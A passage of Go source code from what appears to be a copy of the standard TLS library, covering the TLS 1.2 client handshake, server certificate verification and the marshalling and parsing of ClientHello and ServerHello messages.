message. if !hs.serverHello.ocspStapling { // If a server returns a "CertificateStatus" message, then the // server MUST have included an extension of type "status_request" // with empty "extension_data" in the extended server hello. c.sendAlert(alertUnexpectedMessage) return errors.New("tls: received unexpected CertificateStatus message") } hs.finishedHash.Write(cs.marshal()) c.ocspResponse = cs.response msg, err = c.readHandshake() if err != nil { return err } } keyAgreement := hs.suite.ka(c.vers) skx, ok := msg.(*serverKeyExchangeMsg) if ok { hs.finishedHash.Write(skx.marshal()) err = keyAgreement.processServerKeyExchange(c.config, hs.hello, hs.serverHello, c.peerCertificates[0], skx) if err != nil { c.sendAlert(alertUnexpectedMessage) return err } msg, err = c.readHandshake() if err != nil { return err } } var chainToSend *Certificate var certRequested bool certReq, ok := msg.(*certificateRequestMsg) if ok { certRequested = true hs.finishedHash.Write(certReq.marshal()) cri := certificateRequestInfoFromMsg(c.vers, certReq) if chainToSend, err = c.getClientCertificate(cri); err != nil { c.sendAlert(alertInternalError) return err } msg, err = c.readHandshake() if err != nil { return err } } shd, ok := msg.(*serverHelloDoneMsg) if !ok { c.sendAlert(alertUnexpectedMessage) return unexpectedMessageError(shd, msg) } hs.finishedHash.Write(shd.marshal()) // If the server requested a certificate then we have to send a // Certificate message, even if it's empty because we don't have a // certificate to send. if certRequested { certMsg = new(certificateMsg) certMsg.certificates = chainToSend.Certificate hs.finishedHash.Write(certMsg.marshal()) if _, err := c.writeRecord(recordTypeHandshake, certMsg.marshal()); err != nil { return err } } preMasterSecret, ckx, err := keyAgreement.generateClientKeyExchange(c.config, hs.hello, c.peerCertificates[0]) if err != nil { c.sendAlert(alertInternalError) return err } if ckx != nil { hs.finishedHash.Write(ckx.marshal()) if _, err := c.writeRecord(recordTypeHandshake, ckx.marshal()); err != nil { return err } } if chainToSend != nil && len(chainToSend.Certificate) > 0 { certVerify := &certificateVerifyMsg{} key, ok := chainToSend.PrivateKey.(crypto.Signer) if !ok { c.sendAlert(alertInternalError) return fmt.Errorf("tls: client certificate private key of type %T does not implement crypto.Signer", chainToSend.PrivateKey) } var sigType uint8 var sigHash crypto.Hash if c.vers >= VersionTLS12 { signatureAlgorithm, err := selectSignatureScheme(c.vers, chainToSend, certReq.supportedSignatureAlgorithms) if err != nil { c.sendAlert(alertIllegalParameter) return err } sigType, sigHash, err = typeAndHashFromSignatureScheme(signatureAlgorithm) if err != nil { return c.sendAlert(alertInternalError) } certVerify.hasSignatureAlgorithm = true certVerify.signatureAlgorithm = signatureAlgorithm } else { sigType, sigHash, err = legacyTypeAndHashFromPublicKey(key.Public()) if err != nil { c.sendAlert(alertIllegalParameter) return err } } signed := hs.finishedHash.hashForClientCertificate(sigType, sigHash) signOpts := crypto.SignerOpts(sigHash) if sigType == signatureRSAPSS { signOpts = &rsa.PSSOptions{SaltLength: rsa.PSSSaltLengthEqualsHash, Hash: sigHash} } certVerify.signature, err = key.Sign(c.config.rand(), signed, signOpts) if err != nil { c.sendAlert(alertInternalError) return err } hs.finishedHash.Write(certVerify.marshal()) if _, err := c.writeRecord(recordTypeHandshake, certVerify.marshal()); err != nil { return err } } hs.masterSecret = masterFromPreMasterSecret(c.vers, hs.suite, preMasterSecret, hs.hello.random, hs.serverHello.random) if err := c.config.writeKeyLog(keyLogLabelTLS12, hs.hello.random, hs.masterSecret); err != nil { c.sendAlert(alertInternalError) return errors.New("tls: failed to write to key log: " + err.Error()) } hs.finishedHash.discardHandshakeBuffer() return nil } func (hs *clientHandshakeState) establishKeys() error { c := hs.c clientMAC, serverMAC, clientKey, serverKey, clientIV, serverIV := keysFromMasterSecret(c.vers, hs.suite, hs.masterSecret, hs.hello.random, hs.serverHello.random, hs.suite.macLen, hs.suite.keyLen, hs.suite.ivLen) var clientCipher, serverCipher interface{} var clientHash, serverHash macFunction if hs.suite.cipher != nil { clientCipher = hs.suite.cipher(clientKey, clientIV, false /* not for reading */) clientHash = hs.suite.mac(c.vers, clientMAC) serverCipher = hs.suite.cipher(serverKey, serverIV, true /* for reading */) serverHash = hs.suite.mac(c.vers, serverMAC) } else { clientCipher = hs.suite.aead(clientKey, clientIV) serverCipher = hs.suite.aead(serverKey, serverIV) } c.in.prepareCipherSpec(c.vers, serverCipher, serverHash) c.out.prepareCipherSpec(c.vers, clientCipher, clientHash) return nil } func (hs *clientHandshakeState) serverResumedSession() bool { // If the server responded with the same sessionId then it means the // sessionTicket is being used to resume a TLS session. return hs.session != nil && hs.hello.sessionId != nil && bytes.Equal(hs.serverHello.sessionId, hs.hello.sessionId) } func (hs *clientHandshakeState) processServerHello() (bool, error) { c := hs.c if err := hs.pickCipherSuite(); err != nil { return false, err } if hs.serverHello.compressionMethod != compressionNone { c.sendAlert(alertUnexpectedMessage) return false, errors.New("tls: server selected unsupported compression format") } if c.handshakes == 0 && hs.serverHello.secureRenegotiationSupported { c.secureRenegotiation = true if len(hs.serverHello.secureRenegotiation) != 0 { c.sendAlert(alertHandshakeFailure) return false, errors.New("tls: initial handshake had non-empty renegotiation extension") } } if c.handshakes > 0 && c.secureRenegotiation { var expectedSecureRenegotiation [24]byte copy(expectedSecureRenegotiation[:], c.clientFinished[:]) copy(expectedSecureRenegotiation[12:], c.serverFinished[:]) if !bytes.Equal(hs.serverHello.secureRenegotiation, expectedSecureRenegotiation[:]) { c.sendAlert(alertHandshakeFailure) return false, errors.New("tls: incorrect renegotiation extension contents") } } clientDidALPN := len(hs.hello.alpnProtocols) > 0 serverHasALPN := len(hs.serverHello.alpnProtocol) > 0 if !clientDidALPN && serverHasALPN { c.sendAlert(alertHandshakeFailure) return false, errors.New("tls: server advertised unrequested ALPN extension") } if serverHasALPN { c.clientProtocol = hs.serverHello.alpnProtocol c.clientProtocolFallback = false } c.scts = hs.serverHello.scts if !hs.serverResumedSession() { return false, nil } if hs.session.vers != c.vers { c.sendAlert(alertHandshakeFailure) return false, errors.New("tls: server resumed a session with a different version") } if hs.session.cipherSuite != hs.suite.id { c.sendAlert(alertHandshakeFailure) return false, errors.New("tls: server resumed a session with a different cipher suite") } // Restore masterSecret and peerCerts from previous state hs.masterSecret = hs.session.masterSecret c.peerCertificates = hs.session.serverCertificates c.verifiedChains = hs.session.verifiedChains return true, nil } func (hs *clientHandshakeState) readFinished(out []byte) error { c := hs.c if err := c.readChangeCipherSpec(); err != nil { return err } msg, err := c.readHandshake() if err != nil { return err } serverFinished, ok := msg.(*finishedMsg) if !ok { c.sendAlert(alertUnexpectedMessage) return unexpectedMessageError(serverFinished, msg) } verify := hs.finishedHash.serverSum(hs.masterSecret) if len(verify) != len(serverFinished.verifyData) || subtle.ConstantTimeCompare(verify, serverFinished.verifyData) != 1 { c.sendAlert(alertHandshakeFailure) return errors.New("tls: server's Finished message was incorrect") } hs.finishedHash.Write(serverFinished.marshal()) copy(out, verify) return nil } func (hs *clientHandshakeState) readSessionTicket() error { if !hs.serverHello.ticketSupported { return nil } c := hs.c msg, err := c.readHandshake() if err != nil { return err } sessionTicketMsg, ok := msg.(*newSessionTicketMsg) if !ok { c.sendAlert(alertUnexpectedMessage) return unexpectedMessageError(sessionTicketMsg, msg) } hs.finishedHash.Write(sessionTicketMsg.marshal()) hs.session = &ClientSessionState{ sessionTicket: sessionTicketMsg.ticket, vers: c.vers, cipherSuite: hs.suite.id, masterSecret: hs.masterSecret, serverCertificates: c.peerCertificates, verifiedChains: c.verifiedChains, receivedAt: c.config.time(), } return nil } func (hs *clientHandshakeState) sendFinished(out []byte) error { c := hs.c if _, err := c.writeRecord(recordTypeChangeCipherSpec, []byte{1}); err != nil { return err } finished := new(finishedMsg) finished.verifyData = hs.finishedHash.clientSum(hs.masterSecret) hs.finishedHash.Write(finished.marshal()) if _, err := c.writeRecord(recordTypeHandshake, finished.marshal()); err != nil { return err } copy(out, finished.verifyData) return nil } // verifyServerCertificate parses and verifies the provided chain, setting // c.verifiedChains and c.peerCertificates or sending the appropriate alert. func (c *Conn) verifyServerCertificate(certificates [][]byte) error { certs := make([]*x509.Certificate, len(certificates)) for i, asn1Data := range certificates { cert, err := x509.ParseCertificate(asn1Data) if err != nil { c.sendAlert(alertBadCertificate) return errors.New("tls: failed to parse certificate from server: " + err.Error()) } certs[i] = cert } if !c.config.InsecureSkipVerify { opts := x509.VerifyOptions{ Roots: c.config.RootCAs, CurrentTime: c.config.time(), DNSName: c.config.ServerName, Intermediates: x509.NewCertPool(), } for _, cert := range certs[1:] { opts.Intermediates.AddCert(cert) } var err error c.verifiedChains, err = certs[0].Verify(opts) if err != nil { c.sendAlert(alertBadCertificate) return err } } switch certs[0].PublicKey.(type) { case *rsa.PublicKey, *ecdsa.PublicKey, ed25519.PublicKey: break default: c.sendAlert(alertUnsupportedCertificate) return fmt.Errorf("tls: server's certificate contains an unsupported type of public key: %T", certs[0].PublicKey) } c.peerCertificates = certs return nil } // tls11SignatureSchemes contains the signature schemes that we synthesise for // a TLS <= 1.1 connection, based on the supported certificate types. var ( tls11SignatureSchemes = []SignatureScheme{ECDSAWithP256AndSHA256, ECDSAWithP384AndSHA384, ECDSAWithP521AndSHA512, PKCS1WithSHA256, PKCS1WithSHA384, PKCS1WithSHA512, PKCS1WithSHA1} tls11SignatureSchemesECDSA = tls11SignatureSchemes[:3] tls11SignatureSchemesRSA = tls11SignatureSchemes[3:] ) // certificateRequestInfoFromMsg generates a CertificateRequestInfo from a TLS // <= 1.2 CertificateRequest, making an effort to fill in missing information. func certificateRequestInfoFromMsg(vers uint16, certReq *certificateRequestMsg) *CertificateRequestInfo { cri := &CertificateRequestInfo{ AcceptableCAs: certReq.certificateAuthorities, Version: vers, } var rsaAvail, ecAvail bool for _, certType := range certReq.certificateTypes { switch certType { case certTypeRSASign: rsaAvail = true case certTypeECDSASign: ecAvail = true } } if !certReq.hasSignatureAlgorithm { // Prior to TLS 1.2, the signature schemes were not // included in the certificate request message. In this // case we use a plausible list based on the acceptable // certificate types. switch { case rsaAvail && ecAvail: cri.SignatureSchemes = tls11SignatureSchemes case rsaAvail: cri.SignatureSchemes = tls11SignatureSchemesRSA case ecAvail: cri.SignatureSchemes = tls11SignatureSchemesECDSA } return cri } // Filter the signature schemes based on the certificate types. // See RFC 5246, Section 7.4.4 (where it calls this "somewhat complicated"). cri.SignatureSchemes = make([]SignatureScheme, 0, len(certReq.supportedSignatureAlgorithms)) for _, sigScheme := range certReq.supportedSignatureAlgorithms { sigType, _, err := typeAndHashFromSignatureScheme(sigScheme) if err != nil { continue } switch sigType { case signatureECDSA, signatureEd25519: if ecAvail { cri.SignatureSchemes = append(cri.SignatureSchemes, sigScheme) } case signatureRSAPSS, signaturePKCS1v15: if rsaAvail { cri.SignatureSchemes = append(cri.SignatureSchemes, sigScheme) } } } return cri } func (c *Conn) getClientCertificate(cri *CertificateRequestInfo) (*Certificate, error) { if c.config.GetClientCertificate != nil { return c.config.GetClientCertificate(cri) } for _, chain := range c.config.Certificates { if err := cri.SupportsCertificate(&chain); err != nil { continue } return &chain, nil } // No acceptable certificate found. Don't send a certificate. return new(Certificate), nil } // clientSessionCacheKey returns a key used to cache sessionTickets that could // be used to resume previously negotiated TLS sessions with a server. func clientSessionCacheKey(serverAddr net.Addr, config *Config) string { if len(config.ServerName) > 0 { return config.ServerName } return serverAddr.String() } // hostnameInSNI converts name into an appropriate hostname for SNI. // Literal IP addresses and absolute FQDNs are not permitted as SNI values. // See RFC 6066, Section 3. func hostnameInSNI(name string) string { host := name if len(host) > 0 && host[0] == '[' && host[len(host)-1] == ']' { host = host[1 : len(host)-1] } if i := strings.LastIndex(host, "%"); i > 0 { host = host[:i] } if net.ParseIP(host) != nil { return "" } for len(name) > 0 && name[len(name)-1] == '.' { name = name[:len(name)-1] } return name } ================================================ FILE: tls/handshake_messages.go ================================================ // Copyright 2009 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package tls import ( "fmt" "strings" "golang.org/x/crypto/cryptobyte" ) // The marshalingFunction type is an adapter to allow the use of ordinary // functions as cryptobyte.MarshalingValue. type marshalingFunction func(b *cryptobyte.Builder) error func (f marshalingFunction) Marshal(b *cryptobyte.Builder) error { return f(b) } // addBytesWithLength appends a sequence of bytes to the cryptobyte.Builder. If // the length of the sequence is not the value specified, it produces an error. func addBytesWithLength(b *cryptobyte.Builder, v []byte, n int) { b.AddValue(marshalingFunction(func(b *cryptobyte.Builder) error { if len(v) != n { return fmt.Errorf("invalid value length: expected %d, got %d", n, len(v)) } b.AddBytes(v) return nil })) } // readUint8LengthPrefixed acts like s.ReadUint8LengthPrefixed, but targets a // []byte instead of a cryptobyte.String. func readUint8LengthPrefixed(s *cryptobyte.String, out *[]byte) bool { return s.ReadUint8LengthPrefixed((*cryptobyte.String)(out)) } // readUint16LengthPrefixed acts like s.ReadUint16LengthPrefixed, but targets a // []byte instead of a cryptobyte.String. func readUint16LengthPrefixed(s *cryptobyte.String, out *[]byte) bool { return s.ReadUint16LengthPrefixed((*cryptobyte.String)(out)) } // readUint24LengthPrefixed acts like s.ReadUint24LengthPrefixed, but targets a // []byte instead of a cryptobyte.String. func readUint24LengthPrefixed(s *cryptobyte.String, out *[]byte) bool { return s.ReadUint24LengthPrefixed((*cryptobyte.String)(out)) } type clientHelloMsg struct { raw []byte vers uint16 random []byte sessionId []byte cipherSuites []uint16 compressionMethods []uint8 serverName string ocspStapling bool supportedCurves []CurveID supportedPoints []uint8 ticketSupported bool sessionTicket []uint8 supportedSignatureAlgorithms []SignatureScheme supportedSignatureAlgorithmsCert []SignatureScheme secureRenegotiationSupported bool secureRenegotiation []byte alpnProtocols []string scts bool supportedVersions []uint16 cookie []byte keyShares []keyShare earlyData bool pskModes []uint8 pskBinders [][]byte } func (m *clientHelloMsg) marshal() []byte { if m.raw != nil { return m.raw } var b cryptobyte.Builder b.AddUint8(typeClientHello) b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint16(m.vers) addBytesWithLength(b, m.random, 32) b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) { b.AddBytes(m.sessionId) }) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { for _, suite := range m.cipherSuites { b.AddUint16(suite) } }) b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) { b.AddBytes(m.compressionMethods) }) // If extensions aren't present, omit them. var extensionsPresent bool bWithoutExtensions := *b b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { if len(m.serverName) > 0 { // RFC 6066, Section 3 b.AddUint16(extensionServerName) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint8(0) // name_type = host_name b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddBytes([]byte(m.serverName)) }) }) }) } if m.ocspStapling { // RFC 4366, Section 3.6 b.AddUint16(extensionStatusRequest) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint8(1) // status_type = ocsp b.AddUint16(0) // empty responder_id_list b.AddUint16(0) // empty request_extensions }) } if len(m.supportedCurves) > 0 { // RFC 4492, sections 5.1.1 and RFC 8446, Section 4.2.7 b.AddUint16(extensionSupportedCurves) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { for _, curve := range m.supportedCurves { b.AddUint16(uint16(curve)) } }) }) } if len(m.supportedPoints) > 0 { // RFC 4492, Section 5.1.2 b.AddUint16(extensionSupportedPoints) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) { b.AddBytes(m.supportedPoints) }) }) } if m.ticketSupported { // RFC 5077, Section 3.2 b.AddUint16(extensionSessionTicket) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddBytes(m.sessionTicket) }) } if len(m.supportedSignatureAlgorithms) > 0 { // RFC 5246, Section 7.4.1.4.1 b.AddUint16(extensionSignatureAlgorithms) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { for _, sigAlgo := range m.supportedSignatureAlgorithms { b.AddUint16(uint16(sigAlgo)) } }) }) } if len(m.supportedSignatureAlgorithmsCert) > 0 { // RFC 8446, Section 4.2.3 b.AddUint16(extensionSignatureAlgorithmsCert) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { for _, sigAlgo := range m.supportedSignatureAlgorithmsCert { b.AddUint16(uint16(sigAlgo)) } }) }) } if m.secureRenegotiationSupported { // RFC 5746, Section 3.2 b.AddUint16(extensionRenegotiationInfo) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) { b.AddBytes(m.secureRenegotiation) }) }) } if len(m.alpnProtocols) > 0 { // RFC 7301, Section 3.1 b.AddUint16(extensionALPN) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { for _, proto := range m.alpnProtocols { b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) { b.AddBytes([]byte(proto)) }) } }) }) } if m.scts { // RFC 6962, Section 3.3.1 b.AddUint16(extensionSCT) b.AddUint16(0) // empty extension_data } if len(m.supportedVersions) > 0 { // RFC 8446, Section 4.2.1 b.AddUint16(extensionSupportedVersions) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) { for _, vers := range m.supportedVersions { b.AddUint16(vers) } }) }) } if len(m.cookie) > 0 { // RFC 8446, Section 4.2.2 b.AddUint16(extensionCookie) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddBytes(m.cookie) }) }) } if len(m.keyShares) > 0 { // RFC 8446, Section 4.2.8 b.AddUint16(extensionKeyShare) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { for _, ks := range m.keyShares { b.AddUint16(uint16(ks.group)) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddBytes(ks.data) }) } }) }) } if m.earlyData { // RFC 8446, Section 4.2.10 b.AddUint16(extensionEarlyData) b.AddUint16(0) // empty extension_data } if len(m.pskModes) > 0 { // RFC 8446, Section 4.2.9 b.AddUint16(extensionPSKModes) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) { b.AddBytes(m.pskModes) }) }) } extensionsPresent = len(b.BytesOrPanic()) > 2 }) if !extensionsPresent { *b = bWithoutExtensions } }) m.raw = b.BytesOrPanic() return m.raw } // marshalWithoutBinders returns the ClientHello through the // PreSharedKeyExtension.identities field, according to RFC 8446, Section // 4.2.11.2. Note that m.pskBinders must be set to slices of the correct length. func (m *clientHelloMsg) marshalWithoutBinders() []byte { bindersLen := 2 // uint16 length prefix for _, binder := range m.pskBinders { bindersLen += 1 // uint8 length prefix bindersLen += len(binder) } fullMessage := m.marshal() return fullMessage[:len(fullMessage)-bindersLen] } // updateBinders updates the m.pskBinders field, if necessary updating the // cached marshaled representation. The supplied binders must have the same // length as the current m.pskBinders. func (m *clientHelloMsg) updateBinders(pskBinders [][]byte) { if len(pskBinders) != len(m.pskBinders) { panic("tls: internal error: pskBinders length mismatch") } for i := range m.pskBinders { if len(pskBinders[i]) != len(m.pskBinders[i]) { panic("tls: internal error: pskBinders length mismatch") } } m.pskBinders = pskBinders if m.raw != nil { lenWithoutBinders := len(m.marshalWithoutBinders()) // TODO(filippo): replace with NewFixedBuilder once CL 148882 is imported. b := cryptobyte.NewBuilder(m.raw[:lenWithoutBinders]) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { for _, binder := range m.pskBinders { b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) { b.AddBytes(binder) }) } }) if len(b.BytesOrPanic()) != len(m.raw) { panic("tls: internal error: failed to update binders") } } } func (m *clientHelloMsg) unmarshal(data []byte) bool { *m = clientHelloMsg{raw: data} s := cryptobyte.String(data) if !s.Skip(4) || // message type and uint24 length field !s.ReadUint16(&m.vers) || !s.ReadBytes(&m.random, 32) || !readUint8LengthPrefixed(&s, &m.sessionId) { return false } var cipherSuites cryptobyte.String if !s.ReadUint16LengthPrefixed(&cipherSuites) { return false } m.cipherSuites = []uint16{} m.secureRenegotiationSupported = false for !cipherSuites.Empty() { var suite uint16 if !cipherSuites.ReadUint16(&suite) { return false } if suite == scsvRenegotiation { m.secureRenegotiationSupported = true } m.cipherSuites = append(m.cipherSuites, suite) } if !readUint8LengthPrefixed(&s, &m.compressionMethods) { return false } if s.Empty() { // ClientHello is optionally followed by extension data return true } var extensions cryptobyte.String if !s.ReadUint16LengthPrefixed(&extensions) || !s.Empty() { return false } for !extensions.Empty() { var extension uint16 var extData cryptobyte.String if !extensions.ReadUint16(&extension) || !extensions.ReadUint16LengthPrefixed(&extData) { return false } switch extension { case extensionServerName: // RFC 6066, Section 3 var nameList cryptobyte.String if !extData.ReadUint16LengthPrefixed(&nameList) || nameList.Empty() { return false } for !nameList.Empty() { var nameType uint8 var serverName cryptobyte.String if !nameList.ReadUint8(&nameType) || !nameList.ReadUint16LengthPrefixed(&serverName) || serverName.Empty() { return false } if nameType != 0 { continue } if len(m.serverName) != 0 { // Multiple names of the same name_type are prohibited. return false } m.serverName = string(serverName) // An SNI value may not include a trailing dot. if strings.HasSuffix(m.serverName, ".") { return false } } case extensionStatusRequest: // RFC 4366, Section 3.6 var statusType uint8 var ignored cryptobyte.String if !extData.ReadUint8(&statusType) || !extData.ReadUint16LengthPrefixed(&ignored) || !extData.ReadUint16LengthPrefixed(&ignored) { return false } m.ocspStapling = statusType == statusTypeOCSP case extensionSupportedCurves: // RFC 4492, sections 5.1.1 and RFC 8446, Section 4.2.7 var curves cryptobyte.String if !extData.ReadUint16LengthPrefixed(&curves) || curves.Empty() { return false } for !curves.Empty() { var curve uint16 if !curves.ReadUint16(&curve) { return false } m.supportedCurves = append(m.supportedCurves, CurveID(curve)) } case extensionSupportedPoints: // RFC 4492, Section 5.1.2 if !readUint8LengthPrefixed(&extData, &m.supportedPoints) || len(m.supportedPoints) == 0 { return false } case extensionSessionTicket: // RFC 5077, Section 3.2 m.ticketSupported = true extData.ReadBytes(&m.sessionTicket, len(extData)) case extensionSignatureAlgorithms: // RFC 5246, Section 7.4.1.4.1 var sigAndAlgs cryptobyte.String if !extData.ReadUint16LengthPrefixed(&sigAndAlgs) || sigAndAlgs.Empty() { return false } for !sigAndAlgs.Empty() { var sigAndAlg uint16 if !sigAndAlgs.ReadUint16(&sigAndAlg) { return false } m.supportedSignatureAlgorithms = append( m.supportedSignatureAlgorithms, SignatureScheme(sigAndAlg)) } case extensionSignatureAlgorithmsCert: // RFC 8446, Section 4.2.3 var sigAndAlgs cryptobyte.String if !extData.ReadUint16LengthPrefixed(&sigAndAlgs) || sigAndAlgs.Empty() { return false } for !sigAndAlgs.Empty() { var sigAndAlg uint16 if !sigAndAlgs.ReadUint16(&sigAndAlg) { return false } m.supportedSignatureAlgorithmsCert = append( m.supportedSignatureAlgorithmsCert, SignatureScheme(sigAndAlg)) } case extensionRenegotiationInfo: // RFC 5746, Section 3.2 if !readUint8LengthPrefixed(&extData, &m.secureRenegotiation) { return false } m.secureRenegotiationSupported = true case extensionALPN: // RFC 7301, Section 3.1 var protoList cryptobyte.String if !extData.ReadUint16LengthPrefixed(&protoList) || protoList.Empty() { return false } for !protoList.Empty() { var proto cryptobyte.String if !protoList.ReadUint8LengthPrefixed(&proto) || proto.Empty() { return false } m.alpnProtocols = append(m.alpnProtocols, string(proto)) } case extensionSCT: // RFC 6962, Section 3.3.1 m.scts = true case extensionSupportedVersions: // RFC 8446, Section 4.2.1 var versList cryptobyte.String if !extData.ReadUint8LengthPrefixed(&versList) || versList.Empty() { return false } for !versList.Empty() { var vers uint16 if !versList.ReadUint16(&vers) { return false } m.supportedVersions = append(m.supportedVersions, vers) } case extensionCookie: // RFC 8446, Section 4.2.2 if !readUint16LengthPrefixed(&extData, &m.cookie) || len(m.cookie) == 0 { return false } case extensionKeyShare: // RFC 8446, Section 4.2.8 var clientShares cryptobyte.String if !extData.ReadUint16LengthPrefixed(&clientShares) { return false } for !clientShares.Empty() { var ks keyShare if !clientShares.ReadUint16((*uint16)(&ks.group)) || !readUint16LengthPrefixed(&clientShares, &ks.data) || len(ks.data) == 0 { return false } m.keyShares = append(m.keyShares, ks) } case extensionEarlyData: // RFC 8446, Section 4.2.10 m.earlyData = true case extensionPSKModes: // RFC 8446, Section 4.2.9 if !readUint8LengthPrefixed(&extData, &m.pskModes) { return false } case extensionPreSharedKey: return false default: // Ignore unknown extensions. continue } if !extData.Empty() { return false } } return true } type serverHelloMsg struct { raw []byte vers uint16 random []byte sessionId []byte cipherSuite uint16 compressionMethod uint8 ocspStapling bool ticketSupported bool secureRenegotiationSupported bool secureRenegotiation []byte alpnProtocol string scts [][]byte supportedVersion uint16 serverShare keyShare selectedIdentityPresent bool selectedIdentity uint16 supportedPoints []uint8 // HelloRetryRequest extensions cookie []byte selectedGroup CurveID } func (m *serverHelloMsg) marshal() []byte { if m.raw != nil { return m.raw } var b cryptobyte.Builder b.AddUint8(typeServerHello) b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint16(m.vers) addBytesWithLength(b, m.random, 32) b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) { b.AddBytes(m.sessionId) }) b.AddUint16(m.cipherSuite) b.AddUint8(m.compressionMethod) // If extensions aren't present, omit them. var extensionsPresent bool bWithoutExtensions := *b b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { if m.ocspStapling { b.AddUint16(extensionStatusRequest) b.AddUint16(0) // empty extension_data } if m.ticketSupported { b.AddUint16(extensionSessionTicket) b.AddUint16(0) // empty extension_data } if m.secureRenegotiationSupported { b.AddUint16(extensionRenegotiationInfo) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) { b.AddBytes(m.secureRenegotiation) }) }) } if len(m.alpnProtocol) > 0 { b.AddUint16(extensionALPN) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) { b.AddBytes([]byte(m.alpnProtocol)) }) }) }) } if len(m.scts) > 0 { b.AddUint16(extensionSCT) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { for _, sct := range m.scts { b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddBytes(sct) }) } }) }) } if m.supportedVersion != 0 { b.AddUint16(extensionSupportedVersions) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint16(m.supportedVersion) }) } if m.serverShare.group != 0 { b.AddUint16(extensionKeyShare) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint16(uint16(m.serverShare.group)) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddBytes(m.serverShare.data) }) }) } if m.selectedIdentityPresent { b.AddUint16(extensionPreSharedKey) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint16(m.selectedIdentity) }) } if len(m.cookie) > 0 { b.AddUint16(extensionCookie) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddBytes(m.cookie) }) }) } if m.selectedGroup != 0 { b.AddUint16(extensionKeyShare) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint16(uint16(m.selectedGroup)) }) } if len(m.supportedPoints) > 0 { b.AddUint16(extensionSupportedPoints) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) { b.AddBytes(m.supportedPoints) }) }) } extensionsPresent = len(b.BytesOrPanic()) > 2 }) if !extensionsPresent { *b = bWithoutExtensions } }) m.raw = b.BytesOrPanic() return m.raw } func (m *serverHelloMsg) unmarshal(data []byte) bool { *m = serverHelloMsg{raw: data} s := cryptobyte.String(data) if !s.Skip(4) || // message type and uint24 length field !s.ReadUint16(&m.vers) || !s.ReadBytes(&m.random, 32) || !readUint8LengthPrefixed(&s, &m.sessionId) || !s.ReadUint16(&m.cipherSuite) || !s.ReadUint8(&m.compressionMethod) { return false } if s.Empty() { // ServerHello is optionally followed by extension data return true } var extensions cryptobyte.String if !s.ReadUint16LengthPrefixed(&extensions) || !s.Empty() { return false } for !extensions.Empty() { var extension uint16 var extData cryptobyte.String if !extensions.ReadUint16(&extension) || !extensions.ReadUint16LengthPrefixed(&extData) { return false } switch extension { case extensionStatusRequest: m.ocspStapling = true case extensionSessionTicket: m.ticketSupported = true case extensionRenegotiationInfo: if !readUint8LengthPrefixed(&extData, &m.secureRenegotiation) { return false } m.secureRenegotiationSupported = true case extensionALPN: var protoList cryptobyte.String if !extData.ReadUint16LengthPrefixed(&protoList) || protoList.Empty() { return false } var proto cryptobyte.String if !protoList.ReadUint8LengthPrefixed(&proto) || proto.Empty() || !protoList.Empty() { return false } m.alpnProtocol = string(proto) case extensionSCT: var sctList cryptobyte.String if !extData.ReadUint16LengthPrefixed(&sctList) || sctList.Empty() { return false } for !sctList.Empty() { var sct []byte if !readUint16LengthPrefixed(&sctList, &sct) || len(sct) == 0 { return false } m.scts = append(m.scts, sct) } case extensionSupportedVersions: if !extData.ReadUint16(&m.supportedVersion) { return false } case extensionCookie: if 